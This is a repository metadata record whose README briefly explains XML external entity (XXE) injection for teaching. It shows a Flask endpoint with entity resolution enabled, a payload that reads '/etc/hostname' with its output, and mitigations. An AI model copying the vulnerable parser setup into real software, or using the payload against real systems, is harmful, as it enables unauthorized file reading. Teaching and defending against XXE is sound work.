{"id":20493858,"url":"https://github.com/qeeqbox/xxe-injection","last_synced_at":"2026-03-05T23:41:36.290Z","repository":{"id":104219230,"uuid":"581602947","full_name":"qeeqbox/xxe-injection","owner":"qeeqbox","description":"A threat actor may interfere with an application's processing of extensible markup language (XML) data to view the content of a target's files","archived":false,"fork":false,"pushed_at":"2024-01-29T00:58:42.000Z","size":100,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-16T05:55:50.467Z","etag":null,"topics":["infosecsimplified","injection","metadata","qeeqbox","visualization","vulnerability","xee","xml","xxe","xxe-injection"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qeeqbox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-12-23T17:26:38.000Z","updated_at":"2024-01-29T00:58:35.000Z","dependencies_parsed_at":null,"dependency_job_id":"c46d5d73-d69d-4e03-ade9-b0a4729948bd","html_url":"https://github.com/qeeqbox/xxe-injection","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxxe-injection","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxxe-injection/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxxe-injection/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxxe-injection/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qeeqbox","download_url":"https://codeload.github.com/qeeqbox/xxe-injection/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":242075449,"owners_count":20068225,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["infosecsimplified","injection","metadata","qeeqbox","visualization","vulnerability","xee","xml","xxe","xxe-injection"],"created_at":"2024-11-15T17:37:09.753Z","updated_at":"2026-03-05T23:41:31.253Z","avatar_url":"https://github.com/qeeqbox.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e \u003cimg src=\"https://raw.githubusercontent.com/qeeqbox/xxe-injection/main/xxe-injection.png\"\u003e\u003c/p\u003e\n\nA threat actor may interfere with an application's processing of extensible markup language (XML) data to view the content of a target's files\n\n## Example #1\n1. Threat actor sends a malicious request that contains a reference to an external entity (a system identifier)\n2. The target's XML processor replaces the external entity with the content dereferenced by the system identifier \n\n## Code\n#### Target Logic \n```py\n@app.route(\"/parse_xml\",methods = ['POST'])\ndef parse_xml():\n    parser = etree.XMLParser(resolve_entities=True)\n    root = etree.fromstring(request.files['xml'].read(), parser)\n    response = make_response(etree.tostring(root), 200)\n    response.mimetype = \"text/plain\"\n    return response\n```\n\n#### Target-in\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cgetLastName\u003eJohn01\u003c/getLastName\u003e\n```\n\n#### Target-Out\n```\nJone Doe\n```\n\n#### Target-in\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE malicious [ \u003c!ENTITY xxe SYSTEM \"file:///etc/hostname\"\u003e ]\u003e\n\u003cgetInfo\u003e\u0026xxe;\u003c/getInfo\u003e\n```\n\n#### Target-Out\n```\nusystem01\n```\n\n## Impact\nHigh\n\n## Names\n- XXE injection\n- XEE injection\n- XML injection\n\n## Risk\n- Read data\n\n## Redemption\n- Secure processing\n- Disable DTD and XML external entity\n\n## ID\n4b3566ce-3f7f-40d8-b882-09f59ca967b8\n\n## References\n- [wiki](https://en.wikipedia.org/wiki/XML_external_entity_attack)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fxxe-injection","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqeeqbox%2Fxxe-injection","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fxxe-injection/lists"}